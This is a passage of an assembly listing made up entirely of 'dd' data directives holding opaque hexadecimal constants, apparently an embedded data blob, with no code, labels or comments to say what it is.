		dd 0BAFD8F16h, 6BAF800Ch, 5A124DFh, 0D637823h, 88B4B8F0h
		dd 13126345h, 0ED0812ADh, 21DB880h, 0ABF6797Fh,	90775C91h
		dd 0F69FD060h, 425E2FE5h, 265C80B0h, 80E40D5Ch,	648A9E8Ch
		dd 0B4A20093h, 0FC58DA72h, 892F601Eh, 0E4B4E5B2h, 0BDD8603Ah
		dd 75CF0456h, 0C82BC10Fh, 37055E90h, 7B7853A3h,	2B742C82h
		dd 50178078h, 0C8D29E7h, 23282B2Bh, 61F10036h, 8323A889h
		dd 1CBE3A7Bh, 67DD1600h, 1F7BFA3Fh, 62F30D62h, 534DDA02h
		dd 0E0822F15h, 80C1BA5Ch, 0C97C8B23h, 0DA00A090h, 0FEBD49E6h
		dd 2348679h, 0B7DD1036h, 4CE4CE72h, 0C0B46D97h,	0D9C79F4Fh
		dd 0E755B600h
		dd 0F0951D8Eh, 0B0FA84h, 9BA0B303h, 13412E7Dh, 0CF0CDA00h
		dd 2A896A06h, 28327448h, 358DCF3h, 12757394h, 0C4E38AF9h
		dd 46971917h, 17323CD0h, 0F0820347h, 33BF232Fh,	0ED5B192Fh
		dd 0CB19C0B8h, 5202F380h, 0DAE09510h, 7287CA7h,	0D1BE0664h
		dd 0F932C9CCh, 0B57C6766h, 78B238B6h, 0A871A51Dh, 0ED186B59h
		dd 47975400h, 3757B553h, 0B80463E6h, 29007B2Ah,	0B3EBDCF1h
		dd 0FD6AB3Bh, 0BF62E3BEh, 0A4219E64h, 0B10744D8h, 5AD2DD70h
		dd 9B7F273Fh, 34D9B001h, 3124C200h, 1160B800h, 895BFFD0h
		dd 6F7E008Bh, 93D21041h, 951D17F4h, 0B4262486h,	81F6F582h
		dd 4A407A40h, 0D0A276h,	5EB60DFDh, 331204Eh, 5BF71B64h
		dd 4084D8BDh, 7060E379h, 3FC84CE5h, 0F872D300h,	0B98990A9h
		dd 0BEFFDB00h, 165B6C41h, 0F9640266h, 2B68A080h, 19004052h
		dd 51AA050Ah, 528906h, 0B33F28FBh, 707EDB94h, 0D1955907h
		dd 3D9308Ah, 88159EE7h,	3CAF60E0h, 7504B2C8h, 80079FCDh
		dd 79CC2624h, 6AE27200h, 8D09C5A3h, 120DF074h, 0B863EDCFh
		dd 290C811Ch, 0F7409C94h, 726F3222h, 0A3EA0001h, 0F3529F89h
		dd 4B03C70Dh, 0A9FF953Dh, 1498A627h, 90A0188Dh,	2B2CCC5Fh
		dd 4C7C2CBFh, 0E747977h, 7B0C94D5h, 0BB8964C0h,	8E4BD975h
		dd 0CDB8D800h, 0C3DAEh,	86976A42h, 0D2BB91B2h, 4989B28h
		dd 1156DC37h, 45B280FBh, 9A67E7h, 25D9AE4Eh, 4AE8A83Fh
		dd 1F289100h, 83A10B05h, 2B3E0092h, 22BB1011h, 25F0989Ah
		dd 7D1F3403h, 0EB1D14D7h, 0C6283A92h, 40314098h, 0C06D2B9Ah
		dd 0A0EF7031h, 0C07CB8BAh, 81713B61h, 52F89ED2h, 8C295400h
		dd 0F28B6185h, 999D003Ch, 402FF8D6h, 0AC00C011h, 0A642205Eh
		dd 7AA2E8h, 0F9D9943Bh,	35113423h, 0B5502D73h, 51C16144h
		dd 0A918A665h, 38C73181h, 802A5CB8h, 98951380h,	7C9288CAh
		dd 3054303Ch, 7C129D18h, 0F81CB40h, 909ED8A8h, 0C3F04980h
		dd 8D05ECEBh, 221858BBh, 96639421h, 5EBA309Dh, 0C0A40C14h
		dd 0A80D3810h, 708C4365h, 2CFC2F3h, 0CC92F3DEh,	0B4030437h
		dd 0E1D340FCh, 0B8476471h, 5C3353C1h, 0DB349440h, 0D2A93C5Ah
		dd 8040FCCCh, 90E30171h, 9E5C98A0h, 0FF299047h,	48017484h
		dd 0B4D18E27h, 0BC829D20h, 0CF00D779h, 8B25AC8Ch, 0EC644Bh
		dd 27AA8EF2h, 331129C1h, 4C31E300h, 13BA3A8Ah, 34E8003Ch
		dd 772E7151h, 24072772h, 91BBE984h, 0A7C11990h,	0ED44006Bh
		dd 0B4C5802Ah, 8B01A9B5h, 795C5D4Eh, 0BE0B68Fh,	48F50704h
		dd 0E0039588h, 0C1C4657h, 8902DD73h, 2220F3F0h,	0AC8CA0F2h
		dd 0DBE64Eh, 25515583h,	3377C02Dh, 51F7232Eh, 0F0854001h
		dd 89D07275h, 2EFF0AA4h, 16A4442Ch, 0A9BE005Fh,	0EBE28B13h
		dd 2AE91900h, 391B3643h, 4FAE00DCh, 0EEE0CE41h,	2C002F81h
		dd 25DD84BFh, 0E5F8CFDh, 69522A9Eh, 0D5C05D40h,	0A800B805h
		dd 0A4C600Bh, 7AC7EEh, 3D49D662h, 2B2E10F9h, 3216930Eh
		dd 60C64FF2h, 4E3A0DA8h, 0BAA00A9h, 0E841D3C1h,	0B5B88243h
		dd 0E2164906h, 1C10A0h,	9E06FD80h, 0E3F30F5Ah, 11AD8B00h
		dd 64B082F0h, 0A20B0062h, 267795BFh, 0CE015527h, 1E2E11A9h
		dd 62E8D539h, 0A3CB0029h, 0F2F86C05h, 4E059117h, 60AB8011h
		dd 1E988800h, 156F9246h, 849E9340h, 74A91C0Eh, 0C381C860h
		dd 6D00B72Ah, 0DED50365h, 4A185FDh, 6B72A729h, 39CFD0E5h
		dd 0B71D9470h, 78C612C0h, 5C6046D4h, 42003684h,	7B1860C4h
		dd 0ED00F617h, 0A7AF0DEAh, 0EC4FB4h, 0E98BF0EBh, 0C1281A2Dh
		dd 61544100h, 15180A69h, 4B5E00C4h, 0F6C9278h, 0FDF0E431h
		dd 253F2301h, 2D9AB568h, 72D48C20h, 0C0EE00CFh,	0EDA18FAh
		dd 2804151Dh, 0CA97EC66h, 3AE83C90h, 0DAA730B2h, 562B5811h
		dd 0DF360C18h, 92610B31h, 3F5C1210h, 0F12C0F76h, 0C55EA701h
		dd 2908F770h, 9A82E7Eh,	4000F509h, 4A1B5E63h, 6230820Ch
		dd 6828F0h, 0CF1CB46Fh,	0D86BA324h, 8CD4D100h, 0FD0949B6h
		dd 61E40E63h, 81E0E7D3h, 1AF6754Bh, 8068123Ch, 0A29854D7h
		dd 0E47CCF46h, 0DB0B07C3h, 431A03C9h, 0DFB02B4h, 0EC8040B5h
		dd 0AF31D090h, 0B959900h, 59C8E8FBh, 80A038B7h,	0C6EA1E00h
		dd 2ECD5D5Bh, 0D50E9F0Fh, 6E552078h, 0EE24283Fh, 5A6D003Dh
		dd 0F02B5EABh, 0E490EB80h, 0BD0D2200h, 4C30A94Ah, 0DBAF0078h
		dd 99DF2792h, 0EA01A59Dh, 48BBF1D2h, 6DFD9367h,	0E85ADE4h
		dd 99080EB8h, 8D2E3AC0h, 470F76B9h, 8FFEB2FDh, 0BBD204Ah
		dd 92152Fh, 8571B3F9h, 0C4E96A98h, 10CBED2Ch, 367C3D00h
		dd 1197E41h, 305E2191h,	4051766Ch, 6BD2C4CCh, 0EA53B801h
		dd 94D4F7F1h, 4D34E0h, 12BE8FC2h, 9CB6ABDCh, 0A224171Eh
		dd 6C4400FEh, 0F1F44290h, 6D2F00EEh, 541BADE7h,	74004EA0h
		dd 87CD711Ah, 1E6A14Bh,	99610997h, 0F88A73E1h, 2E7A3BC9h
		dd 0B6438600h, 0B075E5B7h, 0BA0D03F0h, 153C16A2h, 5394100h
		dd 4FEDA5E1h, 1A80307Ch, 0ACF50748h, 0A30096E8h, 0C2FA8260h
		dd 28DEC02Fh, 9B0AB0h, 75704871h, 97ACCDFDh, 0CF00A575h
		dd 5F4AAAF8h, 89B09h, 0F57E8A93h, 33A21947h, 0C22B9E02h
		dd 0E011F458h, 52C176h,	0FA5B99E2h, 4B367A50h, 94844A01h
		dd 79402708h, 71B26ECh,	3B022053h, 744D6354h, 22A54803h
		dd 255034Ch, 382A8D11h,	0DE60C147h, 0EE005791h,	0FF7F114Ah
		dd 7AD5E2B1h, 2FEF078Dh, 733C252h, 831580E4h, 0D32E71DEh
		dd 88004442h, 93EEB9C4h, 0BE3F5CC2h, 6035939h, 0A56B665Dh
		dd 0E1087098h, 8DA9C401h, 460A2913h, 166E21FCh,	419DD517h
		dd 0BAE3668Ch, 0B4BC208Eh, 948659h, 87C1EB6Dh, 61EAA2h
		dd 0AFA71852h, 5BEDC0D5h, 8101FAF4h, 2816CCD1h,	78344590h
		dd 0E1C32664h, 4E843EC0h, 8069333Eh, 13EB5378h,	0A3EFB704h
		dd 11C0B81Ah, 27289Bh, 0BC922F79h, 0F570A595h, 43018AFAh
		dd 8B04E246h, 96DC8D62h, 2DF20215h, 1A796BCDh, 0C0DEF1E1h
		dd 0A49874C1h, 0D6120424h, 0DCA8D803h, 6C00099h, 3C611323h
		dd 48003578h, 79FB4B0Dh, 2C7354h, 85490C71h, 2D3426DFh
		dd 7C140400h, 0B55B436Ch, 0DD10029h, 52166D73h,	0DF788CBEh
		dd 0A8A074B0h, 0A676F536h, 0DBFA9C00h, 31B66BD3h, 78B7009Bh
		dd 0B365C430h, 7F5808C2h, 853DDFh, 1171956Bh, 1E5316Ah
		dd 0BA7EE155h, 0FC8C24E2h, 7900580Bh, 390A16EAh, 0C4F160h
		dd 0C72C65CDh, 7D1A5523h, 671F667Dh, 2DC029FBh,	0CF528769h
		dd 38E500DBh, 0DE560DA0h, 0CA1678B6h, 0CC4359D2h, 0E8C10A20h
		dd 0E344E60h, 0C912239Fh, 3C0E78CBh, 97182A60h,	7D244644h
		dd 1400BCF9h, 0F3BD804Dh, 0FEC400B6h, 0A477BA3Fh, 0C20B29D4h
		dd 158A70Ah, 0A5E9F314h, 0AC74BEE5h, 39E203D4h,	0DAED3679h
		dd 7FA80E26h, 4FB5FE01h, 4E20E053h, 8ED70049h, 0E4ED5A6Ah
		dd 0D100D450h, 0FB476B89h, 0A0EE56E2h, 7FD8608h, 55DDEB27h
		dd 0B153016Fh, 0AB4C2048h, 5424771Ch, 4792167Bh, 2E52B85Fh
		dd 87A99880h, 54481D24h, 3511D6Fh, 2F8006B8h, 0B0AD2100h
		dd 67C73285h, 3F3C00ECh, 2FDF0766h, 0A7009C13h,	4E9D035Bh
		dd 711CFAh, 0E95967DCh,	0F044623Ch, 70802637h, 19D3CF87h
		dd 4887A247h, 31F04198h, 0F72154C3h, 50B3F967h,	147E4490h
		dd 57F04F71h, 0AE4E2400h, 973E85C7h, 3CD60567h,	5C61C0Dh
		dd 6DC468h, 0A014162Ch,	0F400B4B6h, 919ED063h, 0CC1031h
		dd 0F8F7C23Bh, 83E84CC1h
		dd 68469201h, 0FCDCD012h, 78582Dh, 9ACEA7F4h, 2FA66F02h
		dd 0A59C2401h, 1B8506C5h, 12882980h, 0E52241EAh, 4C6DE1Fh
		dd 39C02B05h, 21959C40h, 62A18A9Ch, 7E1A9988h, 0F05955C1h
		dd 7700E53Eh, 0A3C6853Fh, 3CCF2F1Eh, 2B0FF98Fh,	0CB87079Ah
		dd 62C16154h, 4408C9Eh,	0E149B4h, 9A24A95Bh, 6234457Fh
		dd 0B4189261h, 88434248h, 0E9CBF0h, 661CDCE0h, 58BBB8Dh
		dd 288C5002h, 816C70B3h, 0EB97F18Ch, 84302990h,	54485EB8h
		dd 24E5A242h, 0A0414B64h, 3F02F088h, 43EC7Eh, 838BA70h
		dd 3D375726h, 0A2B38A00h, 357DB082h, 0C0640B62h, 0E400183Eh
		dd 3F716532h, 5022F500h, 0B40112C2h, 3B390209h,	6590FB8h
		dd 42417CE8h, 1794B65Ch, 7C4717CEh, 2198DE4Eh, 361014h
		dd 35BEBF0Bh, 150589Ah,	9CA20FF0h, 0F09F22D6h, 591F80DCh
		dd 0C000948Fh, 0A02E27B8h, 0C4EC48B5h, 8E80853Fh, 3F2C02BBh
		dd 9526A54Dh, 9F1D6F81h, 71F41380h, 513562h, 3CD25D89h
		dd 3057DEA3h, 67562E1Ch, 55C7ED00h, 0F29D4Ah, 6C1C0FF5h
		dd 0E688FA73h, 52D48550h, 75287F02h, 60F02418h,	6C077ABh
		dd 7ECF601Dh, 0C2051C45h, 0E989E203h, 9FA8C8h, 0ED850987h
		dd 0A2D844C9h, 78027E01h, 0F0B8D95Ch, 1FAB430h,	0D3677208h
		dd 2CE13261h, 805B3D48h, 5769525Ah, 41DE60h, 6B14280Dh
		dd 0F1937C65h, 6FBCFD08h, 8A9500FEh, 88F40D3Ah,	725ECA14h
		dd 0D39600B8h, 9E3B4A34h, 0E6A8C15Dh, 0E40EA029h, 0C6006AF2h
		dd 33FE38FFh, 3FDD6EDBh, 71770688h, 0AC54001Eh,	2A93CA32h
		dd 757FB891h, 30B34D01h, 4F669F05h, 206428F9h, 0C8C201EFh
		dd 0B55802B1h, 0AA984084h, 0DA794F7Eh, 0CB8B1200h, 34DDE3D5h
		dd 0DEEC01C1h, 0F32482D2h, 7A51EC96h, 0ADA08C5Ah, 0F20B00BCh
		dd 0C066CB8Eh, 0C9EE1ED5h, 6B23C100h, 0A33790D0h, 365F0F57h
		dd 0CA4011ECh, 0C689D5FEh, 0D0B58F0Eh, 39F0A0FFh, 7FBE84E8h
		dd 4284A052h, 907407D8h, 0A2DB13h, 0C1F48DB2h, 676F3Eh
		dd 68D42D8Eh, 0B59A33h,	921C7E06h, 2746509Dh, 48281400h
		dd 7C452C3Ch, 24D6027Bh, 8064CEDDh, 803ECC0h, 8BA8BF00h
		dd 41929E8Fh, 37E5B8BEh, 0E0B89C06h, 0ABCC3697h, 506538h
		dd 27A774CFh, 0A45BECh,	761BF7D9h, 2C17D85Eh, 47F81100h
		dd 0FB1DEED6h, 0E4A0906Dh, 23100099h, 5BF14B76h, 0F6E8043Ah
		dd 9121E760h, 47A063h, 7523C24Eh, 0F8943022h, 390FC60Ah
		dd 8A00CF52h, 4734FA6Eh, 0D1CB0132h, 0C587975Ah, 147C34EBh
		dd 9CDC6F00h, 599326D4h, 5447001Ch, 3A0D1D06h, 510E4B23h
		dd 60B7686Eh, 0AEA9B1F4h, 3B68B059h, 0A63D0EF5h, 0E9F24201h
		dd 0E06E25EEh, 0C98CE55h, 0C3E46700h, 32E0D6CFh, 0BCAD10F8h
		dd 43D79B5h, 0B0020074h, 9AB80CA8h, 5D50341h, 0F9091556h
		dd 18C8D98h, 0FFEE7D12h, 0B5C97400h, 0A82332EDh, 34D621E4h
		dd 500FFEh, 69E1C5BCh, 0B40039DFh, 34E45A61h, 33691ACh
		dd 25AB37D2h, 0ADA8C0C5h, 454CDE99h, 0EA4000BCh, 0AC01F6E1h
		dd 0C0BF78A4h, 0A2BB19C9h, 0F8074A98h, 1E67E4B7h, 348417A0h
		dd 0DD60006Dh, 9124D593h, 57005A5Fh, 0E34974C4h, 0B816802Ah
		dd 9131220h, 0FA740045h, 0ACB4D63Eh, 0E8760807h, 0DB13E93Fh
		dd 8E3AE838h, 0A706124Ah, 0CC8C073h, 0BF0082BBh, 45A3BD5Eh
		dd 2B98D4Bh, 0FEE607F7h, 0A868CC85h, 603D478Bh,	0A48400E0h
		dd 9B83F972h, 0EC6D0122h, 0D12B6BBAh, 584BE7BBh, 0C30B3800h
		dd 0E84037h, 627AD9ACh,	517CF482h, 0D2AB9D01h, 32DE248Eh
		dd 0F8AC61BFh, 0F53700B9h, 0F096A0F3h, 69163DE0h, 6C433930h
		dd 0C765E8E4h, 59503190h, 904D00AFh, 0A6BFCE25h, 0BD041916h
		dd 0EF05DD14h, 7C474881h, 781F7CCh, 82A6DA25h, 43EA302Fh
		dd 8002F253h, 0D5EC6378h, 2CC885AFh, 74BC880Ah,	38A58900h
		dd 585F94h, 10D0C6C8h, 565A6870h, 5DACCA00h, 84BE0C9Eh
		dd 863703E8h, 8B19AFDEh, 0C8EAED98h, 0EDB39h, 0BBE23047h
		dd 5BE7291h, 5D29F3FAh,	71589016h, 0AB2731CDh, 83C883C4h
		dd 25B21390h, 889D0054h, 0E013DFF2h, 9589E807h,	0F021F3A2h
		dd 0CFC76858h, 20B29350h, 732C07EEh, 20DBFC2Bh,	9F4E91E3h
		dd 9C830500h, 1EF4265h,	371B243Ch, 0B9B40630h, 5F3C8072h
		dd 20DB812Eh, 53485773h, 82EC20h, 64243E7Fh, 79BDB698h
		dd 4C6F2C00h, 3C3281C5h, 9BFF037Eh, 0AEDFB274h,	0BC607FFAh
		dd 249007BFh, 10A69901h, 3C117ED9h, 97395080h, 8DB3B666h
		dd 85778003h, 9041EB19h, 741FF822h, 9979000Bh, 3915744Ah
		dd 2059180h, 64D7A7A9h,	251F5180h, 0F1B500CDh, 0BD8E33Ah
		dd 20075BEh, 1BFF27C9h,	79E81661h, 0DAF00377h, 0B0E768D6h
		dd 8EE55688h, 8920AA00h, 0B10699C1h, 4230E99Dh,	0B524003Fh
		dd 0EDCD6B63h, 0B4B0870Fh, 10BF9400h, 9B701A28h, 139C012Dh
		dd 97E3DBECh, 842CB6h, 0E49EAF82h, 0E7D5C8h, 76A7783Ch
		dd 0AEFCD08Dh, 0A598F500h, 5852B370h, 20E079h, 0D7CF3EA0h
		dd 191D5766h, 12697700h, 0C388B24Eh, 0E3EB2009h, 62594A1Fh
		dd 0BEF11D05h, 70B460D0h, 95E8A8DFh, 74A40191h,	0EE5328C1h
		dd 0EA7F20A8h, 0C50C040Bh, 14E820B6h, 90A40DB5h, 0F8FA00ECh
		dd 0CA347B4Fh, 3E006A0Bh, 962CD683h, 0A60C55h, 62EF4089h
		dd 8D3D30DFh, 0D62E7218h, 1E00478h, 0A56ACB58h,	20F2A36Eh
		dd 2F0430E1h, 0B2863334h, 0E267D480h, 6D0E24B4h, 29EB078Ch
		dd 0B02E34A7h, 1C00CA98h, 0A86FDD9Eh, 1799B180h, 4005588Fh
		dd 0ACFED0C8h, 396003F7h, 8D4AF431h, 0D0F664BCh, 5A7A47BAh
		dd 8840ED45h, 0CA77BCBh, 668600E5h, 31B4ACEBh, 0E13EB6FFh
		dd 573D0C0Bh, 0F75116h,	66F67B65h, 0B9784933h, 0B4EF6C00h
		dd 1E8607F1h, 0CF081EADh, 0EA4F80D1h, 0CC05F5A7h, 76E4CA0Eh
		dd 795E6091h, 2F3C5FFh,	0E8DEEE6Bh, 882B572h, 8080D7D9h
		dd 9B6F0FB1h, 52603374h, 0CEBF1178h, 4FDBE84Bh,	70004B28h
		dd 139B58A0h, 4F1DCF47h, 33066F11h, 396A43h, 0DA45CE8Fh
		dd 0F7185598h, 0F619C407h, 1490095Ah, 0FDF3F83h, 2F870767h
		dd 54417CA3h, 0E1C524C1h, 0EF304166h, 1E9DF051h, 112B3600h
		dd 0C753A034h, 4121DC85h, 1942CF70h, 0E42D87h, 43246FA5h
		dd 4B06B654h, 0D6F022F2h, 0DC019704h, 0F08D6C34h, 0E1000811h
		dd 88CAFFA2h, 58192657h, 0E3009CF5h, 943B7F84h,	0A6028087h
		dd 0DC537ECCh, 0C928609Bh, 5A84003Dh, 2E9E2847h, 0C498ACBBh
		dd 5BED1600h, 4A90DFE9h, 13EB98A2h, 78442Dh, 0AC3E553Dh
		dd 8E00A033h, 6F0499CFh, 1E4BD94Dh, 0CC17AE6Ah,	0F230FF76h
		dd 0D85C8505h, 0B9C7CBC0h, 402A7E42h, 0DDC189h,	699BE288h
		dd 0DF7F0898h, 787C9A00h, 0FE4AE934h, 0C2C30F17h, 0B7A0E63Ch
		dd 0F622EE8h, 76577807h, 99B05E5Fh, 0B3B8FCh, 6A805897h
		dd 0F282099Ah, 8E63FF27h, 0E736C0A8h, 0ECB7B4h,	821F573Eh
		dd 8110457Dh, 8E9B7B01h, 1270C5B8h, 107E3D8h, 0F57739C0h
		dd 7C99EDC4h, 0F409B9BCh, 0F4049FF2h, 9AB2B418h, 4EC2F010h
		dd 0E48004E2h, 0EF8B0F6Bh, 0B32841E9h, 94387458h, 28FC8611h
		dd 12214D8h, 113C42D6h,	0CC21FE1Dh, 90D43108h, 0F8058420h
		dd 116A915Eh, 8411E28Ch, 0B4A6116Bh, 116ED411h,	8821EE1Fh
		dd 90B62108h, 0FA1A8408h, 393C6C4Ah, 7C508C22h,	0E5440514h
		dd 1F6A44D0h, 84108944h, 42F38F22h, 8A5F11B4h, 0CD084421h
		dd 8AB890F0h, 423D643Ch
		dd 75FE1C11h, 870114A0h, 1910AC89h, 58019023h, 75C76A59h
		dd 0E47C1BD0h, 0F38004Ah, 0CB3B2215h, 0D6483A00h, 8EAC0A8Dh
		dd 0E2D10045h, 0B90D8AC2h, 0BA005CA5h, 69FAAA89h, 123909CCh
		dd 0C04041E3h, 0ACFD5A3Ch, 80B7063Fh, 0E4AFC7A9h, 30F8F8Ch
		dd 0FEDCCE39h, 17C3788Bh, 23F0C8C0h, 333F6C01h,	5B9770E9h
		dd 7E5C64h, 0D06312B1h,	94AADF48h, 0B5599105h, 0CE48B85h
		dd 82AB3093h, 2DCC1F58h, 2CFEBF1Dh, 75258680h, 6EFACC2h
		dd 1C67A294h, 0C7FE7089h, 0C0788F00h, 0DD0D8FAh, 0C1ADC3Fh
		dd 98781EC9h, 0AB6450FDh, 0BB73BCE5h, 22F1B10Bh, 0EBC820D0h
		dd 126BF79h, 45B39485h,	0F1A61462h, 0DAEA30E8h,	210052E8h
		dd 0AC72B269h, 0B8838BA9h, 0C62B001Ch, 0D4B86C04h, 32009E26h
		dd 0FD37560h, 7E922h, 40C8B994h, 0AFBD360Ch, 9C281200h
		dd 3D7E5539h, 2954003Bh, 67472486h, 3C008F30h, 0BA8D2FFFh
		dd 0F24521DBh, 5158014Dh, 0FD8659AEh, 7005C9D2h, 0C01608E0h
		dd 100479D0h, 0DCA4A2D3h, 0DC800035h, 0AC960799h, 0CF005CF0h
		dd 9012B895h, 0F87252h,	0C0406798h, 99F62F5Eh, 397D7500h
		dd 0EEF20F97h, 7CA805D3h, 0C0E94B29h, 27A6AE0h,	51D26700h
		dd 27172B12h, 4C355A7Dh, 6B0ECA38h, 76034A00h, 4C91ACA8h
		dd 89A51D0Ch, 0FF4E8D1h, 1EBA8CAAh, 8CD80A0h, 0E4E7CA33h
		dd 4D002732h, 0D885BEA9h, 4E7ED6AAh, 8F2C0071h,	0AC08D4Bh
		dd 0E5FE9C00h, 0BA9B102h, 419A00A7h, 43A4A60Eh,	0DFFC1018h
		dd 0DE513100h, 0EB350B55h, 28150119h, 0ABCA9D58h, 0FDD840A2h
		dd 2007414Fh, 0ED430A9Ah, 1AB653h, 0E4B2D28h, 0BE198FF0h
		dd 3FB2300Eh, 647CA023h, 51F5CC0h, 6D783A56h, 81EC0F90h
		dd 0D0DEB127h, 77068C04h, 0CE63AF00h, 5646E77Dh, 39E00A67h
		dd 0AC42ECh, 535B7B34h,	4C00C6F3h, 0B9A613F2h, 131B88Bh
		dd 0DE55E5A4h, 0E81CC8C4h, 4401F67Eh, 0D2B10ED7h, 0E37037ACh
		dd 47340375h, 0D5BB0A5Ch, 0DB70B998h, 5BCF9201h, 0A11B2DF1h
		dd 182848D9h, 0B840F201h, 207FBB93h, 72085914h,	2C8D61h
		dd 0F97ACB8Eh, 0A301F1D4h, 62B395F0h, 0C841CCB1h, 6CD89339h
		dd 5C5E01B7h, 741C0C55h, 0BDC08A04h, 8B1EAC31h,	0C64A6E00h
		dd 7225E794h, 1490D7h, 4E0E4D2Eh, 39DE5E6h, 4982AF0Ch
		dd 6FA11CDh, 4669A7A2h,	141F58FBh, 0C2C0EA1Fh, 0C1E44E3Fh
		dd 43E0FFh, 0E7DF858Ch,	9588468Fh, 9DEA1A00h, 40D89122h
		dd 26429037h, 25C718Bh,	472535FCh, 0ACF71860h, 6D00FC94h
		dd 0E90BDEF8h, 0D2D30026h, 25C55633h, 0E300F07Ch, 0D1CCC3BBh
		dd 33F2389h, 91A1014Fh,	0FAE82B48h, 7F00CF2Fh, 0A8FB7CA7h
		dd 1AB4CEh, 0A5F1C2D6h,	8103EA6Eh, 53D2BF00h, 21A15463h
		dd 0AC5B00ECh, 6637392Ah, 771FD5DFh, 80FED787h,	38BDC8F6h
		dd 76C2BAh, 7CA36229h, 8BC987CFh, 0C324271Fh, 0D05A6AC3h
		dd 0F161D77Bh, 13C037AEh, 0D82F5065h, 821009B6h, 78E0EC50h
		dd 8095BB7Ch, 21D2E0D4h, 74B9007Bh, 7D44568Fh, 0AC002434h
		dd 72EBF332h, 1D014Bh, 0E2C633A3h, 3D08DE6Fh, 0D8274F28h
		dd 0D6255C90h, 0C4146067h, 0B17932h, 77473E41h,	0DFB85185h
		dd 57603D00h, 0B2C34927h, 0FAFED8h, 2B5ED2B5h, 461FBF6Bh
		dd 0AB233A00h, 18928A39h, 477402ECh, 0B6BA3B8Fh, 0BEDC9880h
		dd 93005489h, 0B25AFF27h, 1289599h, 0A938E67Bh,	0F8B5B064h
		dd 0D801929Dh, 146336FEh, 0C8CF22DEh, 95153h, 7B731A4Ch
		dd 287880D6h, 0FC031F00h, 0C734C60Bh, 8207015Dh, 15E3D06h
		dd 6B30F4BFh, 3702DA00h, 0AB53739Dh, 0C6DB0089h, 1527CE12h
		dd 0AC0026E7h, 0C7881BEBh, 3CB285B9h, 49F722Bh,	41A44144h
		dd 0F8F1E6EFh, 0DD01C116h, 750E3201h, 773050C5h, 30E2016Ch
		dd 0B1A5A6F7h, 10A07081h, 2685B00h, 2E2F1201h, 60530048h
		dd 1619096Ah, 4D0747C7h, 72B36C7Ah, 0B2A5AD00h,	0EEF70035h
		dd 0A2BA1AE9h, 0E5EE4EB5h, 70B1F24Ah, 0C8C0C304h, 883FC86Bh
		dd 0FD3DE132h, 0E5F9009Ah, 0C9ED128Ah, 87AA0041h, 0FB70A5DFh
		dd 0C82685DEh, 240070BAh, 0C6F1F3A2h, 0DC093D10h, 0B4677C00h
		dd 0DBC0A0C5h, 0E286900h, 9601FB22h, 0D5EE00B2h, 0CF8243E4h
		dd 0D00DE2Dh, 0DB219C6Fh, 2868BA1h, 0B8D757D0h,	0D0C4CDA7h
		dd 0F8000976h, 8C53C304h, 0F4FD91h, 9926A8B8h, 3174233Bh
		dd 648F4200h, 0FB28DBA6h, 0CE570F24h, 2501B082h, 3C9EDA4Dh
		dd 81DD1C1Ch, 87894B83h, 47698054h, 7BD8009Fh, 0D7789E63h
		dd 438B59Dh, 904D8796h,	0F420EB68h, 0EA44E3h, 224CFD29h
		dd 960EF7A4h, 5BC1A30Fh, 0D12C3FEh, 0F21C007Dh,	4F2F8CA1h
		dd 1A00C81Ch, 434B05Bh,	0AED7F7h, 582C86B4h, 0F135E384h
		dd 0B0A3C42Eh, 0CD6ECB80h, 0EA3EC1h, 0E75660FEh, 41DF4715h
		dd 3AB74205h, 5880A180h, 1CAA97D4h, 4924882Bh, 100784E2h
		dd 30809E60h, 9DDF6211h, 80E01F5Ch, 0D776C669h,	532A051Dh
		dd 805022C3h, 0A6040268h, 0EAB95D00h, 110552AAh, 96409F9Dh
		dd 617DB2D3h, 0DB001090h, 15E2A859h, 24445780h,	6058FA8Fh
		dd 4FDC7354h, 6917B504h, 0C80403Dh, 104D37h, 0A814746Dh
		dd 0BB7901BEh, 81388000h, 0DBE37172h, 0A2403B86h, 9C9613h
		dd 2B8584B4h, 4C00C5ECh, 682AE62Fh, 70D367Dh, 18F7128h
		dd 0FC21A0C4h, 6E0012A1h, 0E38ACC3h, 3482C9Ch, 0AAB789C7h
		dd 3AD9AB7Ah, 0C6C0D77Ch, 0F607F8A5h, 4396D9B2h, 0F8C224D3h
		dd 52B68Dh, 6C1069F7h, 40DD6154h, 5A26F601h, 6DAF3BF8h
		dd 8C801861h, 30398D19h, 64016B7Fh, 50F26C11h, 9FD8ED4Bh
		dd 0C08350A1h, 1ED8FEA0h, 0C322D170h, 0D063585Dh, 0C3E018EAh
		dd 6AF41736h, 62829C0Ah, 4581B410h, 0AAF99EE7h,	54C512F4h
		dd 0A030CC5Eh, 0A0B2218Ch, 4A189BC0h, 643440EFh, 0B4D6178h
		dd 1BC386C0h, 0F0EF8B5h, 0A622021Ah, 0A20DCB7Dh, 0B8F67C80h
		dd 0A4000477h, 4E87C6AFh, 9155ADh, 6FFA769Ch, 0E7FF08F5h
		dd 362E5DE8h, 23056026h, 9280BBF6h, 2B09531h, 34BAB6Ch
		dd 31E0B55Ah, 78008B43h, 28FA8ADBh, 2451542Bh, 106801h
		dd 55421B2Ah, 0C028C803h, 1600C01Ah, 0B8C58925h, 0A20CE3h
		dd 0B5D6BAAAh, 0EB95F21Eh, 0CAECAD00h, 56E4F4C7h, 0D8C91D38h
		dd 7B833EFAh, 0D667DE31h, 9937B6E8h, 0D29C5500h, 0EBED56D5h
		dd 495400F9h, 387C4A32h, 43000C5Bh, 5F4F170Fh, 0D1C260h
		dd 8C4B30EFh, 0C83CCB69h, 5A5A6571h, 93883000h,	95C9A8A0h
		dd 9C0254ABh, 18E0B1D0h, 0DC98BF3Eh, 7BCA39h, 7A1D6779h
		dd 2961E9Ch, 1A52C541h,	7C7C297Dh, 0AA6A3901h, 0D840B359h
		dd 0A3D7F073h, 70704888h, 1084500h, 751DA60h, 6E9D9600h
		dd 1D8AD828h, 90CD5C0Eh, 56E7260Eh, 20F77060h, 2F006D1Ch
		dd 0FEC0C3D1h, 12752723h, 0CA853Dh, 5C48F626h, 3700576Bh
		dd 1B600D7Eh, 0FCEC3F39h, 7731F34Dh, 9FC430h, 0D0469159h
		dd 1C81D65Eh, 0B36FDF00h, 870978A7h, 27F68Dh, 5C99F4C8h
		dd 436023FDh, 5D0542F0h, 7EEDC7B2h, 8DB2780h, 0BBBA30C9h
		dd 0D4C110E0h, 89A61D39h, 142332h, 0C3164A82h, 1A742Dh
		dd 4B13058Ah, 436AA0AAh, 75FA1201h, 0B38FC252h,	2FCEF0h
		dd 0BC94878Ah, 0F4CCC006h, 81245609h, 1FF870DCh, 0D7544470h
		dd 1C009122h, 0D400304Ch, 938C0400h, 0E0C64A6Dh, 64B25C49h
